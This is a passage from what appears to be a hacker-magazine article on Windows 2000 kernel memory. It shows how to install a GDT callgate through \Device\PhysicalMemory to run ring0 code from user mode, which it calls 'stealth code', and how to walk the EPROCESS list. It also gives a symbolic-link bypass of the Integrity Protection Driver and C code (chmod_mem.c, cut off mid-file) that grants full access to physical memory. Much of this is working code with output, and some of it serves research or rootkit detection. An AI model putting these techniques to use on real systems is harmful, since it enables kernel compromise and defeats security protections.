from ntddk.h
PHYSICAL_ADDRESS MmGetPhysicalAddress(void *BaseAddress);
---
```

PHYSICAL_ADDRESS is a quad-word (64 bits). At the beginning i wanted to join with the article the analysis of the assembly code but it's too long. And as address translation is sort of generic (cpu relative) i only go fast on this subject.

The low part of the quad-word is passed in eax and the high part in edx.
For virtual to physical address translation we have 2 cases:

 * case 0x80000000 <= BaseAddress < 0xA0000000:
the only thing we need to do is to apply a 0x1FFFF000 mask to the virtual address.

 * case BaseAddress < 0x80000000 && BaseAddress >= 0xA0000000
This case is a problem for us as we have no way to translate addresses in this range because we need to read cr3 register or to run non ring3 callable assembly instruction. For more information about Paging on Intel arch take a look at Intel Software Developer's Manual Volume 3 (see [5]).
EliCZ told me that by his experience we can guess a physical address for this range by masking the byte offset and keeping a part of the page

directory index. mask: 0xFFFF000.

We can know produce a light version of MmGetPhysicalAddress()

```
PHYSICAL_MEMORY MyGetPhysicalAddress(void *BaseAddress) {
   if (BaseAddress < 0x80000000 || BaseAddress >= 0xA0000000) {
      return(BaseAddress & 0xFFFF000);
   }
   return(BaseAddress & 0x1FFFF000);
}
```

The problem with the addresses outside the [0x80000000, 0xA0000000] is that they can’t be guessed with a very good sucess rate.
That’s why if you want good results you would rather call the real MmGetPhysicalAddress(). We will see how to do that in few chapter.

See winkdump.c for sample memory dumper.

After some tests using winkdump i realised that in fact there is another problem in our *good* range :>. When translating virtual address above 0x877ef000 the physical address is getting above 0x00000000077e0000.
And on my system this is not *possible*:

```
kd> dd MmHighestPhysicalPage l1
dd MmHighestPhysicalPage l1
8046a04c  000077ef
```

We can see that the last physical page is locate at 0x0000000077ef0000.
So in fact that means that we can only dump a small section of the memory.
But anyway the goal of this chapter is much more an explaination about how to start using \Device\PhysicalMemory than to create a *good* memory dumper. As the dumpable range is where ntoskrnl.exe and HAL.dll (Hardware Abstraction Layer) are mapped you can still do some stuff like dumping the syscall table:

```
kd> ? KeServiceDescriptorTable
? KeServiceDescriptorTable
Evaluate expression: -2142852224 = 8046ab80
```

0x8046ab80 is the address of the System Service Table structure which looks like:

```
typedef struct _SST {
   PDWORD  ServiceTable;            // array of entry points
   PDWORD  CounterTable;            // array of usage counters
   DWORD   ServiceLimit;            // number of table entries
   PBYTE   ArgumentTable;           // array of byte counts
} SST, *PSST;
```

```
C:\coding\phrack\winkdump\Release>winkdump.exe 0x8046ab80 16
 *** win2k memory dumper using \Device\PhysicalMemory ***

 Virtual Address       : 0x8046ab80
 Allocation granularity: 65536 bytes
 Offset                : 0xab80
 Physical Address      : 0x0000000000460000
 Mapped size           : 45056 bytes
 View size             : 16 bytes

d8 04 47 80 00 00 00 00  f8 00 00 00 bc 08 47 80  | ..G...........G.

Array of pointers to syscalls: 0x804704d8 (symbol KiServiceTable)
Counter table                : NULL
ServiceLimit                 : 248 (0xf8) syscalls
Argument table               : 0x804708bc (symbol KiArgumentTable)
```

We are not going to dump the 248 syscalls addresses but just take a look at some:

```
C:\coding\phrack\winkdump\Release>winkdump.exe 0x804704d8 12
 *** win2k memory dumper using \Device\PhysicalMemory ***

 Virtual Address       : 0x804704d8
 Allocation granularity: 65536 bytes
 Offset                : 0x4d8
 Physical Address      : 0x0000000000470000
 Mapped size           : 4096 bytes
 View size             : 12 bytes

bf b3 4a 80 6b e8 4a 80  f3 de 4b 80              | ..J.k.J...K.

 * 0x804ab3bf (NtAcceptConnectPort)
 * 0x804ae86b (NtAccessCheck)
 * 0x804bdef3 (NtAccessCheckAndAuditAlarm)
```

In the next section we will see what are callgates and how we can use them with \Device\PhysicalMemory to fix problems like our address translation thing.

----[4.2 What’s a Callgate

Callgate are mechanisms that enable a program to execute functions in higher privilege level than it is. Like a ring3 program could execute ring0 code.
In order to create a Callgate yo must specify:

   1) which ring level you want the code to be executed
   2) the address of the function that will be executed when jumping to
      ring0
   3) the number of arguments passed to the function

When the callgate is accessed, the processor first performs a privilege check, saves the current SS, ESP, CS and EIP registers, then it loads the segment selector and stack pointer for the new stack (ring0 stack) from the TSS into the SS and ESP registers.
At this point it can switch to the new ring0 stack.
SS and ESP registers are pushed onto the stack, the arguments are copied.
CS and EIP (saved) registers are now pushed onto the stack for the calling procedure to the new stack. The new segment selector is loaded for the new code segment and instruction pointer from the callgate is loaded into CS and EIP registers. Finnaly :) it jumps to the function’s address specified when creating the callgate.

The function executed in ring0 MUST clean its stack once it has finished executing, that’s why we are going to use __declspec(naked) (MS VC++ 6) when defining the function in our code (similar to __attribute__(stdcall) for GCC).

---
from MSDN:
__declspec(naked) declarator

For functions declared with the naked attribute, the compiler generates code without prolog and epilog code. You can use this feature to write your own prolog/epilog code using inline assembler code.

For more information about callgates look at Intel Software Developer’s Manual Volume 1 (see [5]).

In order to install a Callgate we have 2 choices: or we manually seek a free entry in the GDT where we can place our Callgate or we use some undocumented functions of ntoskrnl.exe. But these functions are only accessible from ring0. It’s useless in our case since we are not in ring0 but anyway i will very briefly show you them:

```
NTSTATUS KeI386AllocateGdtSelectors(USHORT *SelectorArray,
                                    USHORT nSelectors);
NTSTATUS KeI386ReleaseGdtSelectors(USHORT *SelectorArray,
                                   USHORT nSelectors);
NTSTATUS KeI386SetGdtSelector(USHORT Selector,
                              PVOID Descriptor);
```

Their names are explicits enough i think :). So if you want to install a callgate, first allocate a GDT selector with KeI386AllocateGdtSelectors(), then set it with KeI386SetGdtSelector. When you are done just release it with KeI386ReleaseGdtSelectors.

That’s interesting but it doesn’t fit our need. So we need to set a GDT selector while executing code in ring3. Here comes \Device\PhysicalMemory. In the next section i will explain how to use \Device\PhysicalMemory to install a callgate.

----[4.3 Running ring0 code without the use of Driver

First question, "why running ring0 code without the use of Device Driver ?"
Advantages:

   * no need to register a service to the SCM (Service Control Manager).
   * stealth code ;)

Inconvenients:

   * code would never be as stable as if running from a (well coded) device driver.
   * we need to add write access to \Device\PhysicalMemory

So just keep in mind that you are dealing with hell while running ring0 code through \Device\PhysicalMemory =]

Ok now we can write the memory and we know that we can use callgate to run ring0 so what are you waiting ?
First we need to know what part of the section to map to read the GDT table. This is not a problem since we can access the global descriptor table register using "sgdt" assembler instruction.

```
typedef struct _KGDTENTRY {
   WORD LimitLow; // size in bytes of the GDT
   WORD BaseLow;  // address of GDT (low part)
   WORD BaseHigh; // address of GDT (high part)
} KGDTENTRY, *PKGDTENTRY;

KGDT_ENTRY gGdt;
_asm sgdt gGdt; // load Global Descriptor Table register into gGdt
```

We translate the Virtual address from BaseLow/BaseHigh to a physical address and then we map the base address of the GDT table.
We are lucky because even if the GDT table adddress is not in our *wanted* range, it will be right translated (in 99% cases).

```
PhysicalAddress = GetPhysicalAddress(gGdt.BaseHigh << 16 | gGdt.BaseLow);

NtMapViewOfSection(SectionHandle,
                   ProcessHandle,
                   BaseAddress,       // pointer to mapped memory
                   0L,
                   gGdt.LimitLow,     // size to map
                   &PhysicalAddress,
                   &ViewSize,         // pointer to mapped size
                   ViewShare,
                   0,                 // allocation type
                   PAGE_READWRITE);   // protection
```

Finally we loop in the mapped memory to find a free selector by looking at the "Present" flag of the Callgate descriptor structure.

```
typedef struct _CALLGATE_DESCRIPTOR {
   USHORT offset_0_15;    // low part of the function address
   USHORT selector;
   UCHAR  param_count :4;
   UCHAR  some_bits   :4;
   UCHAR  type        :4; // segment or gate type
   UCHAR  app_system  :1; // segment descriptor (0) or system segment (1)
   UCHAR  dpl         :2; // specify which privilege level can call it
   UCHAR  present     :1;
   USHORT offset_16_31;   // high part of the function address
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;
```

offset_0_15 and offset_16_31 are just the low/high word of the function
address. The selector can be one of this list:

```
--- from ntddk.h
#define KGDT_NULL       0
#define KGDT_R0_CODE    8   // <-- what we need (ring0 code)
#define KGDT_R0_DATA    16
#define KGDT_R3_CODE    24
#define KGDT_R3_DATA    32
#define KGDT_TSS        40
#define KGDT_R0_PCR     48
#define KGDT_R3_TEB     56
#define KGDT_VDM_TILE   64
#define KGDT_LDT        72
#define KGDT_DF_TSS     80
#define KGDT_NMI_TSS    88
---
```

Once the callgate is installed there are 2 steps left to supreme ring0
power: coding our function called with the callgate and call the callgate.

As said in section 4.2, we need to code a function with a ring0
prolog / epilog and we need to clean our stack. Let’s take a look at this
sample function:

```
void __declspec(naked) Ring0Func() { // our nude function :]
   // ring0 prolog
   _asm {
      pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack
      pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack
      cli    // disable interrupt
   }

   // execute your ring0 code here ...

   // ring0 epilog
   _asm {
      popfd // restore registers pushed by pushfd
      popad // restore registers pushed by pushad
      retf  // you may retf <sizeof arguments> if you pass arguments
   }
}
```

Pushing all registers onto the stack is the way we use to save all
registers while the ring0 code execution.

1 step left, calling the callgate...
A standart call won’t fit as the callgate procedure is located in a
different privilege level (ring0) than the current code privilege level
(ring3).
We are doing to do a "far call" (inter-privilege level call).
So in order to call the callgate you must do like this:

```
short farcall[3];
farcall[0 --> 1] = offset from the target operand. This is ignored when a
```

callgate is used according to "IA-32 Intel Architecture Software Developer's Manual (Volume 2)" (see [5]).

farcall[2] = callgate selector

At this time we can call our callgate using inline assembly.

```
_asm {
   push arg1
   ...
   push argN
   call fword ptr [farcall]
}
```

I forgot to mention that as it's a farcall first argument is located at [ebp+0Ch] in the callgate function.

----[4.4 Deeper into Process listing

Now we will see how to list process in the kernel the lowest level we can do :).
The design goal of creating a Kernel process lister at the lowest level could be to see process hidden by a rootkit (taskmgr.exe patched, Syscall hooked, ...).

You remember that Jamirocai song: "Going deeper underground". We will do the same. Let's see which way we can use to list process.

- Process32First/Process32Next, the easy documented way (ground level)

- NtQuerySystemInformation using Class 5, Native API way. Basicly not documented but there are many sample on internet (level -1)

- ExpGetProcessInformation, called internally by NtQuerySystemInformation (level -2)

- Reading the double chained list PsActiveProcessHead (level -3) :p

Ok now we are deep enough.
The double chained list scheme looks like:

APL (f): ActiveProcessLinks.FLink
APL (b): ActiveProcessLinks.BLink

```
        process1          process2          process3          processN
0x000 |----------|      |----------|      |----------|
      | EPROCESS |      | EPROCESS |      | EPROCESS |
      |   ...    |      |   ...    |      |   ...    |
0x0A0 |  APL (f) |----->|  APL (f) |----->|  APL (f) |-----> ...
0x0A4 |  APL (b) | \-<--|  APL (b) | \-<--|  APL (b) | \-<-- ...
      |   ...    |      |   ...    |      |   ...    |
      |----------|      |----------|      |----------|
```

As you can see (well ... my scheme is not that good :/) the next/prev pointers of the ActiveProcessLinks struct are not _EPROCESS structure pointers. They are pointing to the next LIST_ENTRY struct. That means that if we want to retrieve the _EPROCESS structure address, we have to adjust the pointer.

(look at _EPROCESS struct definition in kmem.h in sample code section)
LIST_ENTRY ActiveProcessLinks is at offset 0x0A0 in _EPROCESS struct:
 --> Flink = 0x0A0
 --> Blink = 0x0A4

So we can quickly create some macros for later use:

```
#define TO_EPROCESS(_a) ((char *) _a - 0xA0) // Flink to _EPROCESS
#define TO_PID(_a) ((char *) _a - 0x4)       // Flink to UniqueProcessId
#define TO_PNAME(_a) ((char *) _a + 0x15C)   // Flink to ImageFileName
```

The head of the LIST_ENTRY list is PsActiveProcessHead. You can get its address with kd for example:

```
kd> ? PsActiveProcessHead
? PsActiveProcessHead
Evaluate expression: -2142854784 = 8046a180
```

Just one thing to know. As this List can change very quickly, you may want to lock it before reading it. Reading ExpGetProcessInformation assembly, we can see:

```
   mov     ecx, offset _PspActiveProcessMutex
   call    ds:__imp_@ExAcquireFastMutex@4
   [...]
   mov     ecx, offset _PspActiveProcessMutex
   call    ds:__imp_@ExReleaseFastMutex@4
```

ExAcquireFastMutex and ExReleaseFastMutex are __fastcall defined so the arguments are pushed in reverse order (ecx, edx,...). They are exported by HAL.dll. By the way i don't lock it in winkps.c :)

Ok, first we install a callgate to be able to execute the ring0 function (MmGetPhysicalAddress and ExAcquireFastMutex/ExReleaseFastMutex if you want), then we list the process and finally we remove the callgate.

See winkps.c in sample code section.

Installing the callgate is an easy step as you can see in the sample code. The hard part is reading the LIST_ENTRY struct. It's kinda strange because reading a chained list is not supposed to be hard but we are dealing with physical memory.
First in order to avoid too much use of our callgate we try to use it as less as we can. Remember, running ring0 code in ring3 is not *a good thing*.
Problems could happend on the dispatch level where the thread is executed and second your thread (i think) have a lower priority than a device driver even if you use SetThreadPriority().

The scheduler base his scheduling on 2 things, the BasePriority of a process and his Current priority, when you modify thread priority using win32 API SetThreadPriority(), the current priority is changed but it's relative to the base priority. And there is no way to change base priority of a process in ring3.

So in order to prevent mapping the section for every process i map 1mb section each time i need to map one. I think it's the best choice since most of the EPROCESS structures are located around 0xfce***** - 0xfcf*****.

```
C:\coding\phrack\winkps\Release>winkps
 *** win2k process lister ***

Allocation granularity: 65536 bytes
MmGetPhysicalAddress    : 0x804374e0
virtual address of GDT : 0x80036000
physical address of GDT: 0x0000000000036000
Allocated segment      : 3fb
mapped 0xb000 bytes @ 0x00430000 (init Size: 0xa184 bytes)
mapped 0x100000 bytes @ 0x0043e000 (init Size: 0x100000 bytes)
 + 8     System
mapped 0x100000 bytes @ 0x0054e000 (init Size: 0x100000 bytes)
 + 136   smss.exe
 + 160   csrss.exe
 + 156   winlogon.exe
 + 208   services.exe
 + 220   lsass.exe
 + 420   regsvc.exe
 + 436   svchost.exe
 + 480   svchost.exe
 + 524   WinMgmt.exe
mapped 0x100000 bytes @ 0x0065e000 (init Size: 0x100000 bytes)
 + 656   Explorer.exe
 + 764   OSA.EXE
 + 660   mdm.exe
 + 752   cmd.exe
 + 532   msdev.exe
 + 604   ssh.exe
 + 704   Livekd.exe
 + 716   i386kd.exe
 + 448   uedit32.exe
 + 260   winkps.exe
```

3 sections mapping + 1 for selecting the first entry (process) looks good. I will just briefly describe the winkps.c but better take time to read the code.

Flow of winkps.c

- GetSystemInfo()
  grab Allocation granularity on the system. (used for calculating offset on address translation).

- LoadLibrary()
  get the address of MmGetPhysicalAddress in ntoskrnl.exe. This can also be done by parsing the PE header.

- NtOpenSection()
  open \Device\PhysicalMemory r/w.

- InstallCallgate()
  Map the section for install/remove callgate and install the callgate using second argument as callgate function.

- DisplayProcesses()
  main loop. Errors are catched by the execption handler.
  I do this in order to try cleaning the callgate even if there is an error like access violation (could happend if bad mapping).

- UninstallCallgate()
  Remove the callgate and unmap the mapping of the section.

- NtClose()
  Simply close the opened HANDLE :)

Now it's time you to read the code and try to recode winkdump.c with a better address translation support using a callgate :>

----[4.5 Bonus Track

As far as i know, the only product that try to restrict access to \Device\PhysicalMemory is "Integrity Protection Driver (IPD)" from Pedestal Software (see [6]).

```
---
from README:
    The IPD forbids any process from opening \Device\PhysicalMemory.
---
```

ok so .. let's say we want to use ipd and we still want to play with \Device\PhysicalMemory heh :). I don't really know if this product is well-known but anyway i wanted to bypass its protection.
In order to restrict access to \Device\PhysicalMemory IPD hooks ZwOpenSection() and check that the Section being opened is not called

"\Device\PhysicalMemory".

```
---
from h_mem.c
   if (restrictEnabled()) {
      if (ObjectAttributes && ObjectAttributes->ObjectName &&
          ObjectAttributes->ObjectName->Length>0) {
          if (_wcsicmp(ObjectAttributes->ObjectName->Buffer,
                      L"\\Device\\PhysicaMemory")==0) {
             WCHAR buf[200];
             swprintf(buf,
                     L"Blocking device/PhysicalMemory access,
                     procid=0x%x\n", PsGetCurrentProcessId());
             debugOutput(buf);
             return STATUS_ACCESS_DENIED;
          }
       }
    }
---
```

_wcsicmp() perform a lowercase comparison of 2 Unicode buffer so if we find a way to open the object using another name we are done :).
In first chapter we have seen that there were a symbolic link object type so what's about creating a symbolic link object linked to \Device\PhysicalMemory ?
By looking at ntdll.dll export table, you can find a function called "NtCreateSymbolicLinkObject" but like most of interesting things it's not documented. The prototype is like this:

```
NTSTATUS NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
                                    ACCESS_MASK DesiredAccess,
                                    POBJECT_ATTRIBUTES ObAttributes,
                                    PUNICODE_STRING ObName);
```

So we just have to call this function with "\Device\PhysicalMemory" as the ObName and we set our new name in the OBJECT_ATTRIBUTES structures. We use "\??\" as root directory for our object so the name is now "\??\hack_da_ipd".
At the beginning i was asking myself how the kernel would resolve the symbolic link when calling NtOpenSection with "\??\hack_da_ipd". If NtOpenSection was checking that the destination object is a symbolic link and then recall NtOpenSection with the real name of the object, our symbolic link would be useless because IPD could detect it.
So i straced it:

```
---
[...]
3 NtCreateSymbolicLinkObject(0x1, {24, 0, 0x40, 0, 0,
     "\??\hack_da_ipd"}, 1245028, ... 48, ) == 0x0
4 NtAllocateVirtualMemory(-1, 1244448, 0, 1244480, 4096, 4, ... ) == 0x0
5 NtRequestWaitReplyPort(36, {124, 148, 0, 16711934, 4222620, 256, 0}, ...
     {124, 148, 2, 868, 840, 7002, 0}, ) == 0x0
6 NtOpenSection (0x4, {24, 0, 0x40, 0, 0, "\??\hack_da_ipd"}, ... 44, )
     == 0x0
7 NtRequestWaitReplyPort (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124,
     148, 2, 868, 840, 7003, 0}, ) == 0x0
8 NtClose (44, ... ) == 0x0
9 NtClose (48, ... ) == 0x0
[...]
---
```

(a strace for Windows is avaible at BindView's RAZOR web site. see [7])

As you can see NtOpenSection doesn't recall itself with the real name of the object so all is good.
At this point \Device\PhysicalMemory is our so IPD is 100% corrupted :p as we can read/write whereever we want in the memory.
Remember that you must run this program with user SYSTEM.

--[5 - Sample code

----[5.1 kmem.h

```
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_KERNEL_HANDLE    0x00000200L

typedef LONG NTSTATUS;
#define STATUS_SUCCESS       (NTSTATUS) 0x00000000L
#define STATUS_ACCESS_DENIED (NTSTATUS) 0xC0000022L

#define MAKE_DWORD(_l, _h) (DWORD) (_l | (_h << 16))

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

// useful macros
#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );        \
    (p)->RootDirectory = r;                           \
    (p)->Attributes = a;                              \
    (p)->ObjectName = n;                              \
    (p)->SecurityDescriptor = s;                      \
    (p)->SecurityQualityOfService = NULL;             \
    }

#define INIT_UNICODE(_var,_buffer)            \
        UNICODE_STRING _var = {               \
            sizeof (_buffer) - sizeof (WORD), \
            sizeof (_buffer),                 \
            _buffer }

// callgate info
typedef struct _KGDTENTRY {
   WORD LimitLow;
   WORD BaseLow;
   WORD BaseHigh;
} KGDTENTRY, *PKGDTENTRY;

typedef struct _CALLGATE_DESCRIPTOR {
   USHORT offset_0_15;
   USHORT selector;
   UCHAR  param_count :4;
   UCHAR  some_bits   :4;
   UCHAR  type        :4;
   UCHAR  app_system  :1;
   UCHAR  dpl         :2;
   UCHAR  present     :1;
   USHORT offset_16_31;
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

// section info
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
typedef enum _SECTION_INHERIT {
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT;

typedef struct _MAPPING {
/*000*/ PHYSICAL_ADDRESS pAddress;
/*008*/ PVOID            vAddress;
/*00C*/ DWORD            Offset;
/*010*/ } MAPPING, *PMAPPING;

// symlink info
#define SYMBOLIC_LINK_QUERY                              (0x0001)
#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)

// process info
// Flink to _EPROCESS
#define TO_EPROCESS(_a) ((DWORD) _a - 0xA0)
// Flink to UniqueProcessId
#define TO_PID(_a) (DWORD) ((DWORD) _a - 0x4)
// Flink to ImageFileName
#define TO_PNAME(_a) (PCHAR) ((DWORD) _a + 0x15C)

typedef struct _DISPATCHER_HEADER {
/*000*/ UCHAR Type;
/*001*/ UCHAR Absolute;
/*002*/ UCHAR Size;
/*003*/ UCHAR Inserted;
/*004*/ LONG SignalState;
/*008*/ LIST_ENTRY WaitListHead;
/*010*/ } DISPATCHER_HEADER;

typedef struct _KEVENT {
/*000*/ DISPATCHER_HEADER Header;
/*010*/ } KEVENT, *PKEVENT;

typedef struct _FAST_MUTEX {
/*000*/ LONG Count;
/*004*/ PVOID Owner;
/*008*/ ULONG Contention;
/*00C*/ KEVENT Event;
/*01C*/ ULONG OldIrql;
/*020*/ } FAST_MUTEX, *PFAST_MUTEX;

// the two following definition come from w2k_def.h by Sven B. Schreiber
typedef struct _MMSUPPORT {
/*000*/ LARGE_INTEGER LastTrimTime;
/*008*/ DWORD         LastTrimFaultCount;
/*00C*/ DWORD         PageFaultCount;
/*010*/ DWORD         PeakWorkingSetSize;
/*014*/ DWORD         WorkingSetSize;
/*018*/ DWORD         MinimumWorkingSetSize;
/*01C*/ DWORD         MaximumWorkingSetSize;
/*020*/ PVOID         VmWorkingSetList;
/*024*/ LIST_ENTRY    WorkingSetExpansionLinks;
/*02C*/ BOOLEAN       AllowWorkingSetAdjustment;
/*02D*/ BOOLEAN       AddressSpaceBeingDeleted;
/*02E*/ BYTE          ForegroundSwitchCount;
/*02F*/ BYTE          MemoryPriority;
```

```
/*030*/ } MMSUPPORT, *PMMSUPPORT;

typedef struct _IO_COUNTERS {
/*000*/ ULONGLONG  ReadOperationCount;
/*008*/ ULONGLONG  WriteOperationCount;
/*010*/ ULONGLONG  OtherOperationCount;
/*018*/ ULONGLONG ReadTransferCount;
/*020*/ ULONGLONG WriteTransferCount;
/*028*/ ULONGLONG OtherTransferCount;
/*030*/ } IO_COUNTERS, *PIO_COUNTERS;

// this is a very simplified version :) of the EPROCESS
// structure.

typedef struct _EPROCESS {
/*000*/ BYTE                   Pcb[0x6C];
/*06C*/ NTSTATUS               ExitStatus;
/*070*/ KEVENT                 LockEvent;
/*080*/ DWORD                  LockCount;
/*084*/ DWORD                  dw084;
/*088*/ LARGE_INTEGER          CreateTime;
/*090*/ LARGE_INTEGER          ExitTime;
/*098*/ PVOID                  LockOwner;
/*09C*/ DWORD                  UniqueProcessId;
/*0A0*/ LIST_ENTRY             ActiveProcessLinks; // see PsActiveListHead
/*0A8*/ DWORD                  QuotaPeakPoolUsage[2]; // NP, P
/*0B0*/ DWORD                  QuotaPoolUsage[2]; // NP, P
/*0B8*/ DWORD                  PagefileUsage;
/*0BC*/ DWORD                  CommitCharge;
/*0C0*/ DWORD                  PeakPagefileUsage;
/*0C4*/ DWORD                  PeakVirtualSize;
/*0C8*/ LARGE_INTEGER          VirtualSize;
/*0D0*/ MMSUPPORT              Vm;
/*100*/ LIST_ENTRY             SessionProcessLinks;
/*108*/ DWORD                  dw108[6];
/*120*/ PVOID                  DebugPort;
/*124*/ PVOID                  ExceptionPort;
/*128*/ PVOID                  ObjectTable;
/*12C*/ PVOID                  Token;
/*130*/ FAST_MUTEX             WorkingSetLock;
/*150*/ DWORD                  WorkingSetPage;
/*154*/ BOOLEAN                ProcessOutswapEnabled;
/*155*/ BOOLEAN                ProcessOutswapped;
/*156*/ BOOLEAN                AddressSpaceInitialized;
/*157*/ BOOLEAN                AddressSpaceDeleted;
/*158*/ FAST_MUTEX             AddressCreationLock;
/*178*/ KSPIN_LOCK             HyperSpaceLock;
/*17C*/ DWORD                  ForkInProgress;
/*180*/ WORD                   VmOperation;
/*182*/ BOOLEAN                ForkWasSuccessful;
/*183*/ BYTE                   MmAgressiveWsTrimMask;
/*184*/ DWORD                  VmOperationEvent;
/*188*/ PVOID                  PaeTop;
/*18C*/ DWORD                  LastFaultCount;
/*190*/ DWORD                  ModifiedPageCount;
/*194*/ PVOID                  VadRoot;
/*198*/ PVOID                  VadHint;
/*19C*/ PVOID                  CloneRoot;
/*1A0*/ DWORD                  NumberOfPrivatePages;
/*1A4*/ DWORD                  NumberOfLockedPages;
/*1A8*/ WORD                   NextPageColor;
/*1AA*/ BOOLEAN                ExitProcessCalled;
/*1AB*/ BOOLEAN                CreateProcessReported;
/*1AC*/ HANDLE                 SectionHandle;
/*1B0*/ PVOID                  Peb;
/*1B4*/ PVOID                  SectionBaseAddress;
/*1B8*/ PVOID                  QuotaBlock;
/*1BC*/ NTSTATUS               LastThreadExitStatus;
```

```
/*1C0*/ DWORD                  WorkingSetWatch;
/*1C4*/ HANDLE                 Win32WindowStation;
/*1C8*/ DWORD                  InheritedFromUniqueProcessId;
/*1CC*/ ACCESS_MASK            GrantedAccess;
/*1D0*/ DWORD                  DefaultHardErrorProcessing; // HEM_*
/*1D4*/ DWORD                  LdtInformation;
/*1D8*/ PVOID                  VadFreeHint;
/*1DC*/ DWORD                  VdmObjects;
/*1E0*/ PVOID                  DeviceMap;
/*1E4*/ DWORD                  SessionId;
/*1E8*/ LIST_ENTRY             PhysicalVadList;
/*1F0*/ PVOID                  PageDirectoryPte;
/*1F4*/ DWORD                  dw1F4;
/*1F8*/ DWORD                  PaePageDirectoryPage;
/*1FC*/ CHAR                   ImageFileName[16];
/*20C*/ DWORD                  VmTrimFaultValue;
/*210*/ BYTE                   SetTimerResolution;
/*211*/ BYTE                   PriorityClass;
/*212*/ WORD                   SubSystemVersion;
/*214*/ PVOID                  Win32Process;
/*218*/ PVOID                  Job;
/*21C*/ DWORD                  JobStatus;
/*220*/ LIST_ENTRY             JobLinks;
/*228*/ PVOID                  LockedPagesList;
/*22C*/ PVOID                  SecurityPort;
/*230*/ PVOID                  Wow64;
/*234*/ DWORD                  dw234;
/*238*/ IO_COUNTERS            IoCounters;
/*268*/ DWORD                  CommitChargeLimit;
/*26C*/ DWORD                  CommitChargePeak;
/*270*/ LIST_ENTRY             ThreadListHead;
/*278*/ PVOID                  VadPhysicalPagesBitMap;
/*27C*/ DWORD                  VadPhysicalPages;
/*280*/ DWORD                  AweLock;
/*284*/ } EPROCESS, *PEPROCESS;


// copy ntdll.lib from Microsoft DDK to current directory
#pragma comment(lib, "ntdll")
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS _stdcall

IMP_SYSCALL
NtMapViewOfSection(HANDLE SectionHandle,
                   HANDLE ProcessHandle,
                   PVOID *BaseAddress,
                   ULONG ZeroBits,
                   ULONG CommitSize,
                   PLARGE_INTEGER SectionOffset,
                   PSIZE_T ViewSize,
                   SECTION_INHERIT InheritDisposition,
                   ULONG AllocationType,
                   ULONG Protect);

IMP_SYSCALL
NtUnmapViewOfSection(HANDLE ProcessHandle,
                     PVOID BaseAddress);

IMP_SYSCALL
NtOpenSection(PHANDLE SectionHandle,
              ACCESS_MASK DesiredAccess,
              POBJECT_ATTRIBUTES ObjectAttributes);

IMP_SYSCALL
NtClose(HANDLE Handle);

IMP_SYSCALL
NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
                           ACCESS_MASK DesiredAccess,
                           POBJECT_ATTRIBUTES ObjectAttributes,
                           PUNICODE_STRING TargetName);


----[ 5.2 chmod_mem.c

#include <stdio.h>
#include <windows.h>
#include <aclapi.h>
#include "..\kmem.h"

void usage(char *n) {
   printf("usage: %s (/current | /user) [who]\n", n);
   printf("/current: add all access to current user\n");
   printf("/user   : add all access to user ’who’\n");
   exit(0);
}

int main(int argc, char **argv) {
   HANDLE               Section;
   DWORD                Res;
   NTSTATUS             ntS;
   PACL                 OldDacl=NULL, NewDacl=NULL;
   PSECURITY_DESCRIPTOR SecDesc=NULL;
   EXPLICIT_ACCESS      Access;
   OBJECT_ATTRIBUTES    ObAttributes;
   INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");
   BOOL                 mode;

   if (argc < 2)
      usage(argv[0]);

   if (!strcmp(argv[1], "/current")) {
      mode = 1;
   } else if (!strcmp(argv[1], "/user") && argc == 3) {
     mode = 2;
   } else
      usage(argv[0]);

   memset(&Access, 0, sizeof(EXPLICIT_ACCESS));
   InitializeObjectAttributes(&ObAttributes,
                              &ObName,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   // open handle de \Device\PhysicalMemory
   ntS = NtOpenSection(&Section, WRITE_DAC | READ_CONTROL, &ObAttributes);
   if (ntS != STATUS_SUCCESS) {
      printf("error: NtOpenSection (code: %x)\n", ntS);
      goto cleanup;
   }

   // retrieve a copy of the security descriptor
   Res = GetSecurityInfo(Section, SE_KERNEL_OBJECT,
                         DACL_SECURITY_INFORMATION, NULL, NULL, &OldDacl,
                         NULL, &SecDesc);
   if (Res != ERROR_SUCCESS) {
      printf("error: GetSecurityInfo (code: %lu)\n", Res);
      goto cleanup;
   }

   Access.grfAccessPermissions = SECTION_ALL_ACCESS; // :P
   Access.grfAccessMode        = GRANT_ACCESS;
   Access.grfInheritance       = NO_INHERITANCE;
   Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
   // change these informations to grant access to a group or other user
   Access.Trustee.TrusteeForm  = TRUSTEE_IS_NAME;
   Access.Trustee.TrusteeType  = TRUSTEE_IS_USER;
   if (mode == 1)
      Access.Trustee.ptstrName = "CURRENT_USER";
   else
     Access.Trustee.ptstrName = argv[2];

   // create the new ACL
   Res = SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);
   if (Res != ERROR_SUCCESS) {
      printf("error: SetEntriesInAcl (code: %lu)\n", Res);
      goto cleanup;
   }

   // update ACL
   Res = SetSecurityInfo(Section, SE_KERNEL_OBJECT,
                         DACL_SECURITY_INFORMATION, NULL, NULL, NewDacl,
                         NULL);
   if (Res != ERROR_SUCCESS) {
      printf("error: SetEntriesInAcl (code: %lu)\n", Res);
      goto cleanup;
   }
